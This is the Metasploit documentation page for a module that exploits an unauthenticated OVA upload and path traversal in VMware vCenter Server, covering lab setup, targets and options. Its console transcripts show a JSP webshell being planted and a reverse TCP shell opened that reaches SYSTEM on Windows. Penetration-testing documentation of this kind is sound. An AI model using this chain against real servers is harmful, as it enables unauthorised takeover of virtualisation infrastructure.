PageRenderTime 49ms CodeModel.GetById 20ms RepoModel.GetById 0ms app.codeStats 0ms

/documentation/modules/exploit/multi/http/vmware_vcenter_uploadova_rce.md

https://github.com/rapid7/metasploit-framework
Markdown | 179 lines | 135 code | 44 blank | 0 comment | 0 complexity | 00f6c9db87388c1ed90b56bf36600557 MD5 | raw file
  1. ## Vulnerable Application
  2. ### Description
  3. This module exploits an unauthenticated OVA file upload and path
  4. traversal in VMware vCenter Server to write a JSP payload to a
  5. web-accessible directory.
  6. Fixed versions are 6.5 Update 3n, 6.7 Update 3l, and 7.0 Update 1c.
  7. Note that later vulnerable versions of the Linux appliance aren't
  8. exploitable via the webshell technique. Furthermore, writing an SSH
  9. public key to `/home/vsphere-ui/.ssh/authorized_keys` works, but the
  10. user's non-existent password expires 90 days after install, rendering
  11. the technique nearly useless against production environments.
  12. You'll have the best luck targeting older versions of the Linux
  13. appliance. The Windows target should work ubiquitously.
  14. ### Setup
  15. Follow [VMware's official
  16. documentation](https://docs.vmware.com/en/VMware-vSphere/6.7/com.vmware.vcenter.install.doc/GUID-8DC3866D-5087-40A2-8067-1361A2AF95BD.html)
  17. on installing and configuring vCenter Server, or you can wing it like
  18. me. The Linux appliance is meant to be deployed via ESXi, but I
  19. short-circuited the procedure by mounting the ISO and importing the OVA
  20. directly into VMware Fusion (or your desired hypervisor). YMMV.
  21. ```
  22. wvu@kharak:~/Downloads$ hdiutil attach VMware-VCSA-all-6.7.0-11726888.iso
  23. /dev/disk2 /Volumes/VMware VCSA
  24. wvu@kharak:~/Downloads$ ls -l /Volumes/VMware\ VCSA/vcsa
  25. total 4621748
  26. -r-xr-xr-x 1 wvu staff 2366330368 Jan 10 2019 VMware-vCenter-Server-Appliance-6.7.0.21000-11726888_OVF10.ova
  27. dr-xr-xr-x 5 wvu staff 2048 Jan 10 2019 ovftool
  28. -r-xr-xr-x 1 wvu staff 52 Jan 10 2019 version.txt
  29. wvu@kharak:~/Downloads$
  30. ```
  31. If you're using the workaround above, you'll need to connect to HTTPS
  32. port 5480 to complete [Stage
  33. 2](https://docs.vmware.com/en/VMware-vSphere/6.7/com.vmware.vcenter.install.doc/GUID-CA114526-A413-4219-9FA7-F5A9E9ACA357.html)
  34. of the faux deployment. You may need to set a root password in the
  35. console first. The vSphere Client should be accessible on port 443 after
  36. Stage 2 is complete.
  37. You'll want to test versions earlier than 6.7 Update 3l, since that's
  38. patched. Later vulnerable versions of the Linux appliance aren't
  39. exploitable via the webshell technique. I haven't been able to download
  40. and test them all. Sorry.
  41. **Note:** If you're testing on Windows, using Windows Server 2019 will
  42. fail miserably. Please use [Windows Server 2016 or
  43. earlier](https://kb.vmware.com/s/article/2091273). It must be Windows
  44. Server. I can't stress this enough!
  45. **PROTIP:** Removing or otherwise disabling DNS resolution in the Linux
  46. appliance will make setup run faster if you don't have an FQDN and DNS
  47. server to back it up. This didn't seem to make a difference on Windows.
  48. ## Verification Steps
  49. Follow [Setup](#setup) and [Scenarios](#scenarios).
  50. ## Targets
  51. ### 0
  52. This targets the Linux appliance with a JSP payload. `VMware vCenter
  53. Server <= 6.7 Update 1b (Linux)` is supported.
  54. ### 1
  55. This targets the Windows install with a JSP payload. `VMware vCenter
  56. Server <= 6.7 Update 3j (Windows)` is supported.
  57. ## Options
  58. ### SprayAndPrayMin
  59. Spray JSP payload path starting at this index.
  60. ### SprayAndPrayMax
  61. Spray JSP payload path stopping at this index.
  62. ## Scenarios
  63. ### VMware vCenter Server 6.7 Update 1b (Linux appliance)
  64. ```
  65. msf6 > use exploit/multi/http/vmware_vcenter_uploadova_rce
  66. [*] Using configured payload java/jsp_shell_reverse_tcp
  67. msf6 exploit(multi/http/vmware_vcenter_uploadova_rce) > options
  68. Module options (exploit/multi/http/vmware_vcenter_uploadova_rce):
  69. Name Current Setting Required Description
  70. ---- --------------- -------- -----------
  71. Proxies no A proxy chain of format type:host:port[,type:host:port][...]
  72. RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  73. RPORT 443 yes The target port (TCP)
  74. SSL true no Negotiate SSL/TLS for outgoing connections
  75. TARGETURI / yes Base path
  76. VHOST no HTTP server virtual host
  77. Payload options (java/jsp_shell_reverse_tcp):
  78. Name Current Setting Required Description
  79. ---- --------------- -------- -----------
  80. LHOST yes The listen address (an interface may be specified)
  81. LPORT 4444 yes The listen port
  82. SHELL no The system shell to use.
  83. Exploit target:
  84. Id Name
  85. -- ----
  86. 0 VMware vCenter Server <= 6.7 Update 1b (Linux)
  87. msf6 exploit(multi/http/vmware_vcenter_uploadova_rce) > set rhosts 192.168.123.135
  88. rhosts => 192.168.123.135
  89. msf6 exploit(multi/http/vmware_vcenter_uploadova_rce) > set lhost 192.168.123.1
  90. lhost => 192.168.123.1
  91. msf6 exploit(multi/http/vmware_vcenter_uploadova_rce) > run
  92. [*] Started reverse TCP handler on 192.168.123.1:4444
  93. [*] Executing automatic check (disable AutoCheck to override)
  94. [*] Using auxiliary/scanner/vmware/esx_fingerprint as check
  95. [+] 192.168.123.135:443 - Identified VMware vCenter Server 6.7.0 build-11727113
  96. [*] Scanned 1 of 1 hosts (100% complete)
  97. [+] The target is vulnerable. Unauthenticated endpoint access granted.
  98. [*] Uploading OVA file: O2qAd1Y7t0bhyUQFJ32Vyre6TQHcGoun.ova
  99. [+] Successfully uploaded OVA file
  100. [*] Requesting JSP payload: https://192.168.123.135/ui/resources/gVh2ROzD9QyyGNF6.jsp
  101. [+] Successfully requested JSP payload
  102. [*] Command shell session 1 opened (192.168.123.1:4444 -> 192.168.123.135:55342) at 2021-03-05 16:49:05 -0600
  103. [+] Deleted /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/gVh2ROzD9QyyGNF6.jsp
  104. [+] Deleted /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/40/0/h5ngc.war/resources/gVh2ROzD9QyyGNF6.jsp
  105. id
  106. uid=1016(vsphere-ui) gid=100(users) groups=100(users),59001(cis)
  107. uname -a
  108. Linux photon-machine 4.4.161-1.ph1 #1-photon SMP Wed Oct 17 12:15:18 UTC 2018 x86_64 GNU/Linux
  109. ^Z
  110. Background session 1? [y/N] y
  111. ```
  112. ### VMware vCenter Server 6.7 Update 3j on Windows Server 2016
  113. ```
  114. msf6 exploit(multi/http/vmware_vcenter_uploadova_rce) > set target 1
  115. target => 1
  116. msf6 exploit(multi/http/vmware_vcenter_uploadova_rce) > set rhosts 192.168.123.194
  117. rhosts => 192.168.123.194
  118. msf6 exploit(multi/http/vmware_vcenter_uploadova_rce) > run
  119. [*] Started reverse TCP handler on 192.168.123.1:4444
  120. [*] Executing automatic check (disable AutoCheck to override)
  121. [*] Using auxiliary/scanner/vmware/esx_fingerprint as check
  122. [+] 192.168.123.194:443 - Identified VMware vCenter Server 6.7.0 build-16709044
  123. [*] Scanned 1 of 1 hosts (100% complete)
  124. [+] The target is vulnerable. Unauthenticated endpoint access granted.
  125. [*] Uploading OVA file: 0ggORbkxAcptUeH6U5S8.ova
  126. [+] Successfully uploaded OVA file
  127. [*] Requesting JSP payload: https://192.168.123.194/statsreport/UQbpAxH7WTmrzqcb7AugtYnMB2z0.jsp
  128. [+] Successfully requested JSP payload
  129. [*] Command shell session 2 opened (192.168.123.1:4444 -> 192.168.123.194:55411) at 2021-03-05 16:50:29 -0600
  130. [!] Tried to delete /ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/UQbpAxH7WTmrzqcb7AugtYnMB2z0.jsp, unknown result
  131. C:\Program Files\VMware\vCenter Server\perfcharts\wrapper\bin>whoami
  132. whoami
  133. nt authority\system
  134. C:\Program Files\VMware\vCenter Server\perfcharts\wrapper\bin>
  135. ```